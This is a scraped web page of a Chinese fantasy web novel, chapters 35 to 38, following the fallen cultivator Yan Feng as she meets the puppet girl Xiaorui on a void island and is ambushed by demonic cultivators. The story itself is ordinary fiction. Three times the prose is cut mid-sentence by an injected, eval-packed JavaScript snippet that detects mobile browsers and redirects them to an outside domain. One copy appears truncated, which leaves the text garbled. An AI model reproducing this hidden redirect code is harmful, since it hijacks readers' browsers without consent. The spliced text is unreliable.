这世间何曾有真正长久的真情?何曾有可以永恒的陪伴?何曾有—— “鄢小友。” 李微雨的声音适时将鄢丰从怨憎中唤醒,他的面目都被她周身化为实形的魔气模糊成阴翳的一片,他却似乎毫无察觉,反而若无其事一般,发出由衷的祝福:“鄢小友,救世之路不易,还要多多保重呀。” 鄢丰只觉得荒谬,哂笑道:“救世?前辈以为,此刻的鄢丰,还能当此大任么?” “自然。鄢小友,”他转过头望向无际的天空,意味不明地说,“有了今日一劫,这救世的天命……便是非你不可了。” “天命?”鄢丰嗤笑一声,“如果这就是天命,那我偏要……逆了这天,毁了这道,让它再也不能编排谁的天命,审判谁的因果。” 说罢,一身黑色兜袍已将她整个人都包裹起来,片刻后化作一缕黑烟,消失不见。 李微雨伸出手,虚握了一把鄢丰留下的最后一缕魔气,直到它彻底散逸,他才自语般道:“鄢小友,我们也只能,帮你到这里了。接下来……” 良久,终是一声叹息。 “接下来,就全看你自己,能否洗尽铅华,再筑圣心了。” 35. 孤岛(一) 鄢丰离开失落之地时,压根不像一个误入歧路的人。 但只有她自己知道,冰冷、残酷、极端的那些语言掩饰下的,是属于一个一无所有、失去方向的旅人的茫然。 鄢丰说要逆天道,但其实她并不知道该怎么做。 她并不知道,此时此刻,自己该去哪里。 她无处可去了。 昆仑已然覆灭,鄢年如今也在墓中长眠,即便转世也该相逢不识。 鄢丰茫然地站在街心,她周身散逸的阴郁之气让所有人都本能地远离,周围的小摊贩不知怎么被一匹横空出世的黑马撞翻了,可巧他卖的是瓜果蔬菜,让马蹄子踩了个稀巴烂,此刻正蹲在地上,一面默默垂泪,一面收拾残局。 鄢丰见状下意识蹲下来想要帮忙,谁知就在她靠近的下一刻,吊在高楼上的一只灯笼毫无预兆地掉了下来,再一次打翻了小贩刚刚收到一半的竹筐。 鄢丰手僵在半空,那小贩被一边拉着黄旗的算命先生嘀嘀咕咕地拉得离她老远,目光怪异地朝她指指点点。 一瞬间,人们似乎突然意识到什么,都不约而同将她四周的位置空出一大块儿,挤在别处去了。 鄢丰自嘲地扯动嘴角。 是了。 是啊,她本不该忘,以修士之身堕魔者,本就是为天道所不容的存在。 或许,在天道而言,这承载天道祝福的人族上上品之心,在自甘堕落的那一刻,已是戴罪之身,已是天大的背叛和忤逆。所以…… 祂自然要收回过往给予的一切,一切祝福,一切恩赐,一切荣宠—— 祂要变本加厉地惩罚她,用无止境的厄运,用长久的孤独,用异样的排斥,用羸弱的身体……要她清醒地活着,更比死了更加痛苦。 这样的人,鄢丰从前只在传说中读到过。 他们被称作“无明之人”。 鄢丰垂下眼睛,仍然一动不动站在原地。 四面八方的目光钉在她身上,一面是畏惧,另一面是好奇、怜悯、憎恶—— 一双好看的、青绿的绣花鞋停在眼前。 鄢丰目光一滞,片刻后,视线一寸寸上移,在看清对方那张几乎与自己无异的容颜的那一刻,悦耳甜美的声音也不期而来: “要跟我走吗?……姐姐。” 说罢,她也不管鄢丰有没有答应,转身便走,若有若无的魔气余韵扑在鄢丰脸上。 下一刻,她突然疯了一般,追着那速度快得只有残影和魔息的身影,飞身而去! 鄢丰已然彻底堕入魔道,修道者堕魔,并不能像纯血魔种一样靠吸收魔气来获取力量,也不再能够驱使灵气。换而言之,她再也没有任何一点儿能够超越常人的力量。 但是这场追赶却尚算顺利,因为对方显然深谙这一点,速度把控得很好,总能保证自己在鄢丰的视线里,又让她不得不尽力一些才能勉力追上。 最后,那双好看的绣鞋停在了人魔交界之地。 准确地说,她们已经越过了九万仙阶,而尚未踏入魔域七十二深渊之上。 鄢丰于是一步一步走向她,她听到自己擂鼓般的心脏,不知是长途的跋涉让她气喘,抑或是即将见到原以为再也不能得见的故人,因而生出的紧张。 在两人只有一步之遥时,鄢年转过身来,微微笑了:“姐姐,你看这里——” 鄢丰低下头,看到原本应该连接着七十二深渊之首的北渊,同最后的第九万仙阶之间,不知何时生出一道裂隙,从那虚无的黑色之中,丝丝缕缕的魔气蔓延上来,扑散在两人脸上。 鄢丰似有所感地抬起头,一点点望向“鄢年”此刻平静到有些诡异的笑脸。而后,她听到她说: “姐姐,你说,虚空之下,会是什么呢?” 鄢丰不语,只是沉默地看着她。 铺天盖地的魔气将她淹没,“鄢年”脸上的笑容慢慢扩大:“你去替我看看……好不好呀?” 一股大力猛地从背后袭来,将鄢丰整个人狠狠推下那无底的虚空! 人掉入虚空之中,会发生什么呢? 失落之地掩藏于虚空之中,捕获了鄢年迷津的魂魄。 鄢丰想,也许此刻,她落入虚空之中,也将同样地,连肉身与魂魄都一起迷失在无边的永夜之中,永恒地流浪。 但她对这突如其来的变故又像是无动于衷的,她仍然静静看着“鄢年”的笑脸,脸上并没有无故被亲人伤害的悲恸,也没有发现自己被欺骗时的惊异和愤怒,她只是平静极了,视线从没有一刻离开过那张素净的笑脸。 而后她终于毫无来由地笑了起来,说出最后一句话: “鄢年……从来没叫过我‘姐姐’。” 在对方不可置信的目光中,鄢丰转过身,纵身跃入不见底的深渊,身影彻底被虚空吞没,仿佛那句轻而冷的话,只是幻觉。 . 鄢丰阖上眼睛,心中一片死寂。 她感受着身体被向下的力量牵引坠落,愈发纯粹浓郁的魔气几乎化为实质,将她整个包裹起来。 她几乎不能动弹,心脏因为过量魔气的侵入而隐隐作痛,随着她的下落越来越明显。 随之而来的一股窒息之感。 一片黑暗之中,其他的感官被无限放大,鄢丰猛地睁开眼睛,视线落在腰间那浅黄色的柱状物体,微微一愣。 那是她再熟悉不过的东西——永夜花的花蕊。 在魔域,她曾经斩杀过无数这样如活物一般的永夜花,而此刻,她正被一株巨大的永夜花的花蕊缠住身体,逐渐落入花心。 原来这虚空之下还有这样的生灵存在。 它们以凡人为食物吗?那它们一定饿极了。 鄢丰想,一切之错都从漫山的永夜花开始,如今也从一株永夜花结束,倒真像是因果轮回、报应不爽。 ——这是一个不错的结尾。 “……你没事吧?!” 可惜,一切释怀之心,都被一声极清、极亮的呼唤,冲散得无影无踪。 鄢丰惊讶地发现,这株永夜花温驯极了,似乎通了人性,动作轻而缓慢地缠着她稳稳落地,听到少女的声音花瓣微微蜷起,像是为她的到来感到欢愉。 视线微微移动,远处,一名容色姝丽的少女喘着气朝她跑来。 她跑得那样快、那样急,途中被长长的裙摆绊了一下,重重摔在地上,又很快站起来,不管不顾地继续跑。 鄢丰没来由地想起过去。 师姐下葬那日,鄢年来了昆山。 她站在师姐坟前,衣着缟素。 “鄢丰!” 鄢年喊她的名字,鄢丰错愕地转过头,见到鄢年眉眼弯弯,穿着那身杏色长裙,一双桃红绣鞋,远远地朝着她挥手。 她看了看那墓碑,又看了看鄢丰,脸上没有一点儿伤怀和安慰,只是眯着眼睛笑,像每一次她回到家时一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557286|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鄢丰没来由地感到释怀。 她终于转过身,走近了些,问她:“你怎么会来?” 鄢年说:“昆山真高,我爬了好久好久啊。” “摔倒了吗?” 鄢年摇摇头:“没有!” 鄢丰笑了一声。 离近了就能看到,她的裙摆处沾了不少泥土,膝盖、袖子也脏兮兮的。 她欲盖弥彰地抬起手摸了把脸,却把本来就沾了点灰的脸抹得更花了。 鄢丰终于止不住笑了起来,鄢年也跟着笑,又很快,不约而同地沉默下来。 天色渐暗,鄢丰才罕见地露出一点颓丧的情态,轻声说:“年年,我……没有师姐了。” 鄢年没有回答,却从袖中拿出一枝棠花。 时间久了,一路上又几多颠簸,原本只开了几朵、还有很多花苞未及绽放的海棠花,已经有些打蔫,看上去很快就会枯萎。 “鄢丰,你看,那一年我们一起种下的海棠花,现在已经长了那么大!”她抬起手比划起来,“现在,它又开了,我特地带来给你看!” 鄢丰以为她要把花放在师姐的墓前,鄢年却以另外一种形式为贺灵献上这枝花—— 她把它插在了墓前的土地上。 “年年?”鄢丰不解地偏过头。 鄢年指着那枝花说:“快施法呀鄢丰!” 鄢丰失笑:“凭我可养不活它。” “我来养呀,”鄢年嗔怪地看着她,“我费了那么大劲爬上来,难道你这就要赶我走吗?” 鄢丰吃了一惊:“你要留下?” 鄢年从来都不喜欢待在有修道者的地方。 她是天生魔种,在灵气浓郁的地方,总会有些不适。 鄢丰知道,更重要的是,她其实也一直向往着,能够拥有强大的力量,有一天能够将她也保护在身后。 鄢丰怔愣地看着鄢年点点头,笃定道: “我要留下。你可要……保护好我呀。” 鄢丰顿了顿,笑了:“好。” 那天夜里,两人难得再一次同榻而眠。 夜半,鄢丰感到鄢年试探着一点一点挪过来,而后便被一阵杏花香气拥入怀中。 “晚安,鄢丰……” “我会一直陪在你的身边的。” 鄢丰回过神,少女已经跑到了她的面前。 一道陌生而熟悉杏花香气将她扑了满怀,鄢丰怔怔低下头,看着她急切地拉起她的手,又将她上上下下仔细打量了一番。 片刻之后她确认她没有大碍,似乎松了口气,松开手后退两步,和她拉开一点距离,腼腆地笑了笑: “……对不起,这里、这里太久没人来了,所以我有点儿激动。” 见鄢丰仍然看着她不语,她有点不好意思,又讷讷道:“你没事就好。” “你怎么到的这里?……是不是想进魔域的时候,不小心掉下来的?” “……我叫小瑞,你呢?” “你受伤了,要不要留下来住一段时间?” 她一连说了许多话,却始终没有得到鄢丰的回应。鄢丰始终微微垂着眸,目光擦过她那一角杏色裙摆,看不出她在想些什么。 以前也是这样。 可这一次,鄢丰只是退后一步,那股清甜的馨香缓缓散去。 “我……不会留在这里。你也应该,离我远一点。” 她说。 36. 孤岛(二) 小瑞看着鄢丰拒人千里之外的模样,不知想起什么,竟然笑了。 她想了想,说:“你不愿意留下也没关系,那你可以告诉我,你的名字吗?” 鄢丰张了张口,到了嘴边的话又被咽了回去,末了她只是微微偏过头,生硬道:“……你最好不要和我扯上任何关系才好。” “凭我救了你也不行吗?” 鄢丰却已经不再理会她,转过身朝反方向走去了。 然而很快,鄢丰就发现,这只是虚空中的一个裂缝,和失落之地一样,它只是一座小小的孤岛。 她还找不到离开的路,只能暂且留在这里,慢慢寻找出路。 这样一来,即便她已经尽可能远离小瑞的住所,她们之间的距离也不过半日的脚程。 小瑞很自来熟,又或者只是单纯觉得无聊、寂寞,总之,每天她都走很久来找她。 “看,我今天带了这个!” 小瑞远远看见她,便朝她跑过来。 这里除了魔气和永夜花,简直一无所有,鄢丰只能幕天席地而睡。也正因如此,小瑞每天来,她根本没有办法将她拒之门外。 鄢丰的视线定定停留在小瑞手心的那片永夜花瓣儿上。 剔透的花瓣,即使在铺天盖地的黑色魔气中,也仍然一尘不染地流光溢彩。 根本不像一种诅咒的容器,倒像是一种…… 神的造物。 在她愣神之际,小瑞已经不由分说将它塞给她,自顾自地笑道:“这里的永夜花,每三日便会掉落一片花瓣儿。等到我攒够十片,作为回报,你就告诉我你的名字,好不好?” 少女明媚而毫无阴霾的笑脸撞入眼中,鄢丰猛地回过神,手下一颤,那片琉璃的花瓣儿毫无征兆摔在地上发出一声轻响,落成一地碎片。 鄢丰面无表情地看着,耳边唯有强烈的心跳声,提醒着她——你是受诅咒的。 小瑞显然也被吓了一跳,她愣愣地看着地上的花瓣,半天没有说话,也没有动作。 鄢丰看着她这易碎的模样,又无端想起鄢年。 到嘴边的道歉却无论如何不能说出口。 取而代之的只有—— “……别再来了。” 小瑞看了看她,果真沉默地离开了。 接连两日,鄢丰也没有再见到她。 . 钥匙就在你的手中。 不知从何而来的声音,在一片漆黑中不断响彻,萦回不散。 鄢丰低下头,发现自己手中果真捏着一把长满锈斑的钥匙。 她如此用力地捏着那把钥匙,指甲泛白,仿佛稍稍松开一点儿,便不得不面对这世上最可怕的事情。 “吼……” 那声音不知何时消失了,取而代之的是野兽的嘶吼。黑暗中,鄢丰什么也看不见,听声辨位的本领好像也在这一刻消失了,她只能凭借本能,找到野兽的位置。 ——好在,它被锁在牢笼当中。 这个念头毫无预兆地出现在心中,鄢丰不由自主地朝着一个方向走去。 野兽在铁笼中不断挣动,爪子刮过金属,发出刺耳的声音,仿佛下一刻便会破笼而出,将她啃食殆尽。 鄢丰生出退意,身体却不受控制,手中的钥匙几乎就要插入那道牢固的铁锁之中。 手触到冰凉的金属,鄢丰一个激灵回过神,条件反射地后退两步,一股无名的恐慌在心中升起,她想逃,想转过身飞奔起来,逃离这伸手不见五指的永夜,身体却完全无法动弹。 眼看钥匙就要插入锁孔,金属与金属楔合在一起,转动起来发出轻微响动,她忽然感到窒息,仿佛一双看不见的手毫无征兆地扼住了她的咽喉。 心跳在一片静寂中发出震天的响声,鄢丰拼命想要停下。 最后,她终于如愿以偿。 她看到自己的手停了下来,金属折射出的微弱的反光,猝不及防间,她对上了那双隐藏在黑暗中的……血红眼瞳。 “铮——” 鄢丰猛地坐起来,耳边寂静无声,只有嗡鸣的长剑在身侧发出微弱的光芒。 鄢丰心下稍安,手抚过雪亮的剑身,金属的触感让她回想起那个光怪陆离的噩梦,也让她无比清晰地意识到,她已从噩梦中醒来。 理智逐渐回笼。 可那声音最后的呓语还在脑海中,挥之不去。 像一道预言,又或是一种蛊惑。 它说—— 想要获得强大的力量吗? 想要守护重要的人吗? 那就打开那座牢笼吧, 钥匙就在你的手中。 打开笼子,放出那久未进食的野兽。 把一切都放心地交付给它吧。 这个声音,鄢丰再熟悉不过了。 堕魔之后,鄢丰几乎习惯了她的存在。 那日之后她便常常做梦,梦里,往往只是不断重复着那些她始终难以忘怀,也无法释怀的过往—— 从阿昭到贺灵,再到鄢年…… “它”便总是在她从梦中惊醒时如期而至。 有时候它趴在她的床边笑着看她,有时候则从上方抱住她,然后在她耳边喃喃低语,蛊惑她向它臣服。 可这一次,“它”却成为了她的梦魇本身。 噩梦醒了,它也便不见了踪影。 鄢丰无端感到一阵不安。 她便踉跄着站起来,手下意识抚上腰间的甘镬剑,大步走向小瑞的居所。 . 简陋的小木屋,门敞开着,屋内空无一人。 鄢丰第三次回到这里,额角已经渗出细细密密的汗珠—— 小瑞不见了。 这座小岛就只有这么大,可是她已经将这座岛的每一个角落都找了无数遍,却始终连小瑞的一点儿气息都没能感应到。 心不断下沉,她几乎是不可自控地想……会是因为她吗?会是因为她的到来,为那个向她伸出援手的少女,带来了这场无妄之灾吗? “承认吧鄢丰,承认你错了……你救不了所有的人——” 那个声音又再次出现在耳边,在她最脆弱地自我质疑的时刻,蓄势待发要攻破她的心理防线。 “你瞧,当初在万魔窟下,如果你没有做出那个承诺,如果你承认这个世界上就是有人根本不配被拯救……如今,你怎么会害得小瑞在这样的孤岛上也能凭空消失?” 鄢丰呼吸急促起来,因为它点破了她连日来的困惑与一点儿微妙的悔意。 但很快鄢丰便无暇顾及它了,木屋前丛丛盛开的永夜花似乎终于从沉睡中醒来,它们敏锐地捕捉到了鄢丰周遭的黑色魔气,微微舒展花瓣,下一刻,心魔应声消失了,鄢丰茫然地转过头,那方才完成捕猎的永夜花,花瓣再次焕发了琉璃般剔透的光芒。 鄢丰一愣,她看着那些巨大的永夜花,鬼使神差地问: “……你知道小瑞去了哪里吗?” 可是那些永夜花餮足之后似乎又陷入了沉睡,一动不动。 鄢丰垂眸,自嘲地笑了笑,正要迈步在岛上再走一圈,脚步却忽而一顿。 在她周身的魔气的滋养下,那些永夜花散发出流光溢彩的色泽,五颜六色折射在一起,竟然将身后的“虚空”照亮了,一条闪着五色光芒的路在永夜花丛之后闪烁着,似乎在为她指引着方向。 鄢丰脚步一转,她越过那些茂盛的永夜花,毅然决然走上了那条不知名的道路。 鄢丰从来没有想过,永夜花丛之后的一片漆黑中,原来不是虚空。 心脏砰砰跳动起来,她握紧剑柄,一步一步向前走去。 很快,她就感受到那股熟悉的气息忽远忽近,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557287|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎在前方等待着她。 鄢丰精神一振。 ——小瑞就在那里! 最终,在一片耀目的白光中,浓郁的灵气将她整个人都包裹起来。 心中的魔气被和这充沛的灵气冲撞在一起,鄢丰呼吸变得极困难,但她还是强撑着站定,适应这白昼的光芒之后,谨慎地打量起周遭的事物。 这是一座废弃的祭坛。 十根高可齐天的诸子直冲天际,隐没在高空中的虚空里,每根柱子上都刻画着七条栩栩如生的……龙? 有些怒目圆睁,有些神色狂喜,鄢丰无端被这与人一般无二的龙的神态吓得一阵胆寒。 最重要的是……在祭坛的最中间,一名少女双目紧闭,脸色苍白,似乎正忍受着某种巨大的痛苦。 似有若无的魔气在她周身萦回不散。 正是小瑞。 鄢丰定了定神,抬步走向阵心。心魔阴魂不散的声音再次出现了。 或许是因为灵气过于浓郁的缘故,心魔隐匿了声音,她顺利走到小瑞的身边,试探着喊她的名字:“小瑞。” 少女微微动了动,鄢丰松口气,将她紧握成拳的手展平,防止她的指甲嵌入肉中伤到自己。 她将她扶起来,小瑞微微睁开眼睛,朝着她艰难地挤出一个微笑。 她痛极了,话几乎说不出口,她张了张口,半天才说出话来,声音气若游丝: “带、带……我……回、去,好……吗……” 鄢丰不敢耽误,抱起她便往来时路飞奔起来。 穿过永夜花丛便回到了她的小屋前,魔气与黑暗再次降临,两人却似乎同时松了一口气,小瑞的脸色也不再那样苍白,鄢丰将她安顿在屋里的小床上,沉默地看着她。 两厢沉默了一会儿,小瑞撑起身子,看着她,声音极轻地道:“……我没想到你会来。” 鄢丰说:“对不起。” ——如果不是因为我,你怎么会受到这种飞来横祸?鄢丰想。 小瑞摇了摇头,似乎看懂了她的失落:“……我是自己跑到那里去的,该我说对不起……让你担心了。” 鄢丰一愣。 小瑞却自顾自道:“我醒来的时候就在这里了,我不知道我是谁,我只知道……我在这里,等一个人。” “等谁?”鄢丰下意识脱口而出。 小瑞摇摇头:“我想不起来了。但是,”她看着窗外无际的夜色,顿了顿,“前一段时间,有人告诉我……永夜花后有一个七情阵。它能帮我找回记忆。” 鄢丰顿了顿:“……现在,你想起来什么了吗?” 小瑞却没有回答,只是定定看着她。 鄢丰感觉她的神情比起几日前似乎多了一点儿别样的深意,就听到少女轻轻地说: “我想,我知道我在等谁了。” 鄢丰蓦然抬起头。 小瑞却转移了视线,说出的话却有一点撒娇的意味:“我感觉还是有些不舒服……留下来陪我几天,好吗?” 鄢丰默了默。 她想,如果今天她没有去七情阵中找到她,她会怎么样呢? “……好。” 在得出一个确切的答案之前,身体已经先于思想回应了她的提议。 “那……”少女眨眨眼,方才的那些虚弱与沮丧似乎都被一股俏皮的狡黠取而代之,她再次看向她,不无期许地问,“告诉我你的名字好吗?” 鄢丰来不及懊恼自己草率的回应,便对上她明亮的眼睛。 她忽而觉得,也许留下来,才更加能够保护她。 “我叫鄢丰。”沉默片刻,鄢丰终于说服了自己,慢慢道,“……瑞雪兆丰年的‘丰’字。” 小瑞笑着重复:“‘瑞雪兆丰年’……真巧,我叫小瑞,你叫鄢丰——瑞雪、丰年,就是我们两个呀。” 37. 孤岛(三) 是夜,一阵喧闹嘈杂的声音由远及近传来。 鄢丰睡得不安稳,不祥的预感袭上心头,她轻手轻脚坐起来,刚推开门,便被一道道耀目的火光晃得睁不开眼。 “就是这里!” 门外,领头的是个黑袍人,大半张脸都隐藏在兜帽的阴影下,却无端让人感到战栗。 在他的身边,还有一名布衣者,脸上一道狰狞的刀疤从唇角一直拉到眼尾,此刻正谄笑着指着小木屋,邀功般看向黑袍人。 而最重要的是,站在他身后的还有数十名同样的黑袍人,窃笑地议论着: “哼,竟藏在这样的地方,难怪让我们好找。” “杀了那个傀儡!挖出她的心,交给君上!” “君上一定会奖赏我们……” “我们一定能得救……!” 领头的魔修微微侧头,身后的人立刻噤声。 一时间安静极了,唯有火光猎猎燃烧之声,昭示着这群不速之客的到来。 身后,巨大的永夜花伸出魔气缠绕的蕊丝,想要将这些不速之客驱逐出去,那为首的黑衣人察觉了,却仍然岿然不动站在原地。 下一刻,一道强大的魔气从他腰间一枚鎏金令牌中毫无征兆地射出,一下将那株永夜花的根茎斩断,永夜花轰然倒在地上,没能对这黑衣人造成一点儿伤害。 鄢丰心蓦地一沉——这是一群训练有素的魔修。 只有魔修,才会以这样有组织的形式出现,而且训练有素……层级分明。 ——那枚鎏金的令牌就昭示着为首者高人一等的身份。 鄢丰谨慎地将身体掩在门后,脑中飞速思考着自己带着小瑞从他们手下脱困的办法。 但是很快,一道清脆的声音便伴随着琉璃剔透花瓣的碎裂,盖过了所有纷乱的声音,清晰地打破了这微妙的静寂。 少女揉着惺忪睡眼,走到鄢丰身边,拉开了门:“……鄢丰,发生什么事情了吗?” 刀疤男一看到小瑞便激动起来,立即拿手指着她大喊: “就是她!” 黑袍人目光一暗,下令道:“先挖出机械心者,重重有赏!” . 黑暗中,鄢丰带着小瑞飞速奔跑。 可是,这座孤岛本就不大,这些魔修找到这里,又人多势众……这场角逐对他们来说,无异于瓮中捉鳖。 她们最终停在孤岛的边缘。 鄢丰将小瑞护在身后,仅存的左手下意识按在剑柄上,看向身后。 数十名魔修将她们包围起来,魔气浓郁到形成一个黑色的漩涡,蠢蠢欲动地要将二人一并吞噬。 进一步,是数十名强大的魔修,步步紧逼;退一步,便是万丈虚空,深不见底。 退无可退。 另一边,领头的魔修似乎已经成竹在胸,并不急着动手,反而挥退手下,自己走进包围圈里,站定在鄢丰的面前。 鄢丰强行忽略心魔的声音,警惕地看着他,手已经握住剑柄,随时准备出剑。 那黑衣人却从容不迫极了,但鄢丰能够感觉到,隐藏在阴翳中,一双锐利的眼睛仿佛蛰伏的野兽,贪婪而嗜血的眼神化作无形的利刃,射出冷光,让人无端一阵胆寒。 半晌,他慢条斯理地开了口: “我们也算是同道中人……” 率先回答这句话的,是她的心魔。 它对她说:“你和他可不一样。” 它恶劣地笑了笑,凑在她耳边,鄢丰几乎能感受到耳边扑来的热气。 “唾手可得的力量你都不敢接受——何况像他们一样,抢夺、攫取,无所不用其极地追求力量呢?” 鄢丰沉默不语,可心魔还在喋喋不休:“这样的你,如何从那群疯子手下救人?这份力量……你不要,不代表他们不要。” 鄢丰努力忽视它的蛊惑,可心中却还是不可控制地开始摇摆—— 心魔说的话,确实也正是她之所忧。 “瞧不上我们这些魔修吗?”那黑衣人见她半晌不语、脸色沉沉,认定她在蔑视自己,冷不丁喊出了她的名字,“鄢丰。” 鄢丰猛地回过神,对上他戏谑的眼神。 “所以我说……我们是同道中人。”他的笑声阴恻恻的,一面摘下兜帽,露出隐藏在阴影中的脸,“我们伟大的……救世主大人。” 鲜红的魔纹几乎将他的整张脸都爬满了,可是鄢丰还是很快便认出他来,她不可置信地睁大眼睛: “司同光?!” 司同光微微笑了笑,声音不无讽刺:“是我。昆山一别……你也没想到,我们还有再见面的这一天吧?” 鄢丰的眼神却有一丝动容,她几乎忘记了眼前这人正是他们最大的危机,甚至她朝着他走近了一些,抬起头一瞬不瞬地看着他,上上下下打量了好几次,半天才露出一点惊喜的神色:“真的是你。”感受到他身上的魔气,她又微微垂下眼帘,低声继续道,“……我以为,整个昆山,没有人活下来了。” 司同光却像是听到了什么天大的笑话一般,狂笑起来:“哈哈哈哈哈哈哈哈……你现在露出这样的表情是什么意思?我们大公无私的救世主啊……昆山如今的一切不都是拜你所赐吗?!” 鄢丰脸色一下苍白起来,整个身体都颤了一颤。 司同光看到她的模样露出一个癫狂而痛快的笑容:“你当初毫不犹豫拿雪雪祭阵的时候,可有想过今日?你可曾想过……如今的你——我们伟大的救世主,我们无私的掌门师姐——你可曾想过……如今,你自己也会变得和当初的我、和当初的范雪雪一样?” 他声音讥讽,似乎恨极了,连带着他腰间那枚鎏金的令牌都散发出阴森的魔气,仿佛要将她整个人都吞噬殆尽。 鄢丰听清她的话却猛地睁大眼睛:“你说什么?范师妹……祭什么阵?” 司同光不动声色地看着她,如野兽一般的眼睛死死盯住她,似乎想要从她的眼中看出说谎的痕迹。可她好像真的是困惑极了,一双比起往日稍显黯淡的眼睛,正茫然地看着她,在等他给一个交代。 “是不是……你不该是最清楚的吗?”司同光冷笑起来,他被这茫然一下激怒了,取下了腰间那枚鎏金令牌散发出如斗魔气,一瞬间将他整个人都浸透,毫无征兆地化成数道利刃,准确地朝她袭来! “——鄢丰,事到如今,你不也是……会和我们做出一样的选择吗?” 鄢丰猛地回过神,铺天的魔气化作利刃裹挟这一种滔天刻骨的恨意朝她袭来,她将小瑞死死护在身后,甘镬剑早已本能地出鞘。 可是她知道,这如此强悍的一击,她挡不住。 除非—— “我可以帮你呀。” 它再次出现了。 “只要,你把你自己完全交给我……我们就能拥有,世间最强大的、足以斩杀任何敌人的力量。” 鄢丰不语。 可她的动摇在它的面前根本无所遁形,它一下将她拆穿: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557288|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你还在等什么?……你也很想得到这份力量,不是么?” 鄢丰的指甲无声疯长,魔纹在她的颈侧若隐若现,无声印证着心魔的话。 眼见那些魔刃越来越近、越来越近,几乎将她的整个视线都填满,一点红色终于攀上她的眼眶。 这一次,心魔不再说话了,似乎笃定了她的选择。 它知道,她也知道—— 从这滔天魔气之下全身而退,对于如今的她来说,是根本不可能的。 一瞬间,鄢丰忽然什么都明白了。 ——钥匙就在你的手里, 你别无选择了。 她呼吸急促起来,指甲扎进肉里渗出血来,她都浑然未觉。 心魔的笑声将她的最后一声叹息湮没,鄢丰握紧甘镬剑,任由魔气将自己包裹起来,红色阴翳慢慢将视线铺满,红色的丝线细细密密悄然攀上她的眼睛,像一张蛛网,将此间因果尽数网罗进这一双鲜红的眼中。 ——即便与魔谋易,也要保护她! “——等等!” 在神智彻底消融之前,清脆的女声猛地穿过一切嘈杂响彻耳边,一道杏色身影突兀地闪过眼前,小瑞瘦削的身影一下挡在她的面前,将两道蓄势待发的魔气尽数阻隔在半空中。 司同光有些不耐地看着鄢丰眼中的红色一点点消退,可偏偏他只能将自己的魔刃定在半空。 他咬牙问: “你想干什么?我可没兴趣看你们姐妹情深的戏码。” 小瑞声音颤抖、呼吸急促,话音却仍然掷地有声: “我可以跟你们走,可鄢丰是无辜的,你们不能杀了她!” “你以为,你现在还有什么资格和我谈条件?”司同光冷漠地笑了笑,却真的没有动手,他看着她,似乎在权衡什么,犹豫片刻,他竟然真的松了口,“也罢……我可以答应你的条件。但是相对的……” 似乎想到什么有意思的事情,他顿了顿,意味深长地看了鄢丰一眼,看着小瑞继续道:“如果你能帮我抓到她,我也同样可以放过你。甚至,我可以为你提供庇护。毕竟,你也知道……”他的手意有所指地摩挲着手中的鎏金令牌,“你如今这傀儡之身,和你那颗如今已千金难求的机械心,对我们这些魔修来说……有多诱人。” “即便你能侥幸逃过今日,明日、后日,想要区你性命,夺舍、取而代之的人,只会越来越多……也越来越棘手。” 司同光慢条斯理地说着,眼睛照射出贪婪的光芒,死死盯住小瑞,像是饥饿的鹰犬,紧盯住他势在必得的猎物。 小瑞身躯一震,背对着鄢丰的脸色突然变得惨白,浑身都止不住颤抖起来。 鄢丰从入魔的失神中微微清醒过来,听到这句话又豁然抬起头看向小瑞微微摇晃的背影。 ——她怎么会是傀儡? 人类的肉身本能地排斥外来的灵魂,因此,莫说强行夺舍,即使是肉身的主人心甘情愿让出身体,夺舍也未必能够成功。 但傀儡不同。 只要寄宿其中的灵魂甘愿离开,它便能够再容纳下一个灵魂。 ——正如司同光所说,如今祁家彻底覆灭,神树枯萎,这样的一具肉身,确实珍贵极了……尤其对魔修而言。 鄢丰看向司同光,后者此刻正以一个贪婪而势在必得的眼神,一瞬不瞬看向小瑞,仿佛在一瞬间将其他的仇恨全都抛诸脑后。 小瑞的声音很快传来: “……一言为定!” 38. 孤岛(四) 司同光了然一笑,正要朝着小瑞伸出手,露出合作的态度,却听到小瑞的声音颤抖却坚定,一字一顿:“我跟你们走,傀儡身和机械心都给你,你放过鄢丰——我们一言为定!” “哦?你真的想好了?”司同光目光古怪地看了看她,又看看鄢丰,玩味地笑了笑,“可以。” “我不相信你。你和我立下心魔誓为证!” 不悦的神色闪过他的眼睛,魔气在他周身翻涌起来,铺天的杀气瞬间将二人笼罩起来。 这句话却不知为何激怒了他,因为这一次—— 魔气并不来自那鎏金令牌,而是源于他自己。 他要彻底失控了。 鄢丰冷静地想,与此同时,她已经喊出了他的名字: “司同光。” 